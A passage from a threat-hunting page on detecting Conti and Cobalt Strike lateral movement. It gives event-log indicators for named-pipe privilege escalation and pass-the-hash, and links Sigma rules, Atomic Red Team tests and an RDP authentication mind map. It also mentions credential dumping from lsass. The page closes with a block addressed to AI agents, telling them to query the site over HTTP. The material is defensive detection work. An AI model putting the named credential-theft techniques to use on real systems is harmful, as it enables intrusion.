<table><thead><tr><th width="150">EID<select multiple><option value="43f6b1c2d2c545d582a73d0e4ea6445f" label="6" color="blue"></option><option value="ebb3f844f6d2444db697d1f694b95e4f" label="31" color="blue"></option><option value="ad532b6e6f014bf18fc506b100982fad" label="3" color="blue"></option><option value="bb4ad0dcb0294e8cbad707101c991e5c" label="17" color="blue"></option><option value="10c0420def8447faa4d9a780e2cdaa23" label="18" color="blue"></option><option value="a8372481c2fd449ea63934a1d9a952fa" label="4656" color="blue"></option><option value="1eb9374367dd4c2c8219df386fec38e9" label="400" color="blue"></option><option value="f60270ce50ac4e0b8fab7a87b183b4dc" label="91" color="blue"></option><option value="867b64c392e8497a9fb944dd727dc6f3" label="31" color="blue"></option><option value="f4f420d2f90443f18f0ed9c854c59675" label="142" color="blue"></option><option value="34ed7466a9ca4f05a69d4e8a23c87893" label="1" color="blue"></option><option value="5c53286e244a415e811796431cd295a7" label="5145" color="blue"></option><option value="8bde251679214e0ea8810265ef321659" label="7045" color="blue"></option><option value="1e502df3387c456196fc22842c7ff620" label="4697" color="blue"></option><option value="abec465afb20462ca6ab62d7c2dd1434" label="13" color="blue"></option><option value="f8ad656cf0b94d05b05fb9889057c642" label="4624" color="blue"></option></select></th><th width="150">Action<select><option value="c6a35e999b6d4fc79a129d50962a6ceb" label="WSMan Session Creation" color="blue"></option><option value="8e4213b2c6e348ea8d69079977d8fc9f" label="Network Connection" color="blue"></option><option value="71c51880ae4449cc908f26253fda9080" label="Process Creation" color="blue"></option><option value="93bb8fb141d740eabef13cf3d4435027" label="Pipe Created" color="blue"></option><option value="818183bb97db44829b07c2554e76845c" label="Process Access" color="blue"></option><option value="a5f2dbcc9b7b4f3b8f00c4097f0dfe74" label="PowerShell Session Start" color="blue"></option><option value="00020f6e49d7406686cd816a9e746719" label="WSMan Operation Failure" color="blue"></option><option value="2c4c27f9068f45a1989de01c9bca6bc3" label="Network Share Access" color="blue"></option><option value="cac3b7e40d634805b3d681b8b2c4a8b1" label="Service Creation" color="blue"></option><option value="54d0517359044723be6200e2de951895" label="Registry Value Set" color="blue"></option><option value="561a7ae4740e42dc87a5fe571b59520e" label="Pipe Connected" color="blue"></option><option value="be8a87e94a3744459d965e20d310d8dc" label="Authentication" color="blue"></option></select></th><th width="150">Provider<select><option value="743f4666951747eebdd4d6606af9932c" label="Microsoft-Windows-WinRM" color="blue"></option><option value="603d5362a0184c079bfe3bb86966de72" label="Microsoft-Windows-Sysmon" color="blue"></option><option value="954f225848ba4c239dd16c7d148a1927" label="Microsoft-Windows-Security-Auditing" color="blue"></option><option value="69ba023229744a5390976109d1075bb8" label="System" color="blue"></option><option value="aadd2300ef5445ef9c9da96a98deb2ba" label="PowerShell" color="blue"></option></select></th><th>Comment</th></tr></thead><tbody><tr><td><span data-option="34ed7466a9ca4f05a69d4e8a23c87893">1</span></td><td><span data-option="71c51880ae4449cc908f26253fda9080">Process Creation</span></td><td><span data-option="603d5362a0184c079bfe3bb86966de72">Microsoft-Windows-Sysmon</span></td><td><ul><li>Process Name : cmd.exe </li><li>Process Arguments : <code>/c</code>, <code>echo</code>, <code>></code>, and <code>\\.\pipe*</code></li></ul></td></tr><tr><td><span data-option="f8ad656cf0b94d05b05fb9889057c642">4624</span></td><td><span data-option="be8a87e94a3744459d965e20d310d8dc">Authentication</span></td><td><span data-option="954f225848ba4c239dd16c7d148a1927">Microsoft-Windows-Security-Auditing</span></td><td><ul><li>Logon Type : <code>9</code> </li><li>Logon Process : <code>seclogo</code> </li><li>Authentication Package : <code>Negotiat</code>e</li></ul></td></tr></tbody></table>

### Sigma Rules

* [sigma/win\_pass\_the\_hash.yml at master · SigmaHQ/sigma](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/win_pass_the_hash.yml)
* [sigma/win\_pass\_the\_hash\_2.yml at master · SigmaHQ/sigma](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/win_pass_the_hash_2.yml)

### Detection Validation

* [atomic-red-team/T1550.002.md at master · redcanaryco/atomic-red-team](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1550.002/T1550.002.md)

## T1021.001 Remote Services: Remote Desktop Protocol

### RDP

The CONTI leaked documentation shows RDP being used several time for manual access whether to dump **`lsass`** process memory using task manager or export credentials from users profiles and keyloggers data. This is not an exploitation of the RDP service itself since the attacker already got their hands on user's credentials, so in this case maintaining a good RDP users policy will help creating a baseline and detecting related violations. EID **`4825`** **A user was denied the access to Remote Desktop** can be helpful in this matter.

I previously created this mind map for **RDP DFIR** **Authentication** event logs that can be observed in your environment when using RDP with and without NLA enabled.

The mind map was pushed to a great GitHub project started by **Andrew Rathbun** ([@bunsofwrath12](https://twitter.com/bunsofwrath12)) [here](https://github.com/AndrewRathbun/DFIRMindMaps). The RDP mind map can be found following this link :&#x20;

{% embed url="<https://github.com/AndrewRathbun/DFIRMindMaps/tree/main/OSArtifacts/Windows/RDP_Authentication_Artifacts>" %}
GitHub Project Repository
{% endembed %}

{% file src="/files/3dU9xvSf0otzbVMqdgJl" %}
RDP DFIR Authentication Event Logs PDF
{% endfile %}

![RDP DFIR Authentication Event Logs Image](/files/wL1zlRr8t61RKHbFksbL)

## References

* <https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/dfce8f13-1ae2-4cd3-aadd-03edf6290407>
* [https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent Asynchronous-And-Fileless-Backdoor-wp.pdf](https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf)
* <https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wmi/38d52a83-1613-4c56-8418-12ad1145eeaa?redirectedfrom=MSDN>
* [https://github.com/KPN-CISO/Network-Detection/blob/master/Lateral Movement/WMI/WMI\_README.md](https://github.com/KPN-CISO/Network-Detection/blob/master/Lateral%20Movement/WMI/WMI_README.md)
* <https://www.darkoperator.com/blog/2013/1/31/introduction-to-wmi-basics-with-powershell-part-1-what-it-is.html>
* <https://github.com/zeek/zeek/blob/master/scripts/base/protocols/dce-rpc/consts.zeek>
* <http://files.brucon.org/2019/06-Catching-WMI-Lateral-Movement.pdf>
* <https://www.youtube.com/watch?v=f67CHOj7OrY>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-2.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
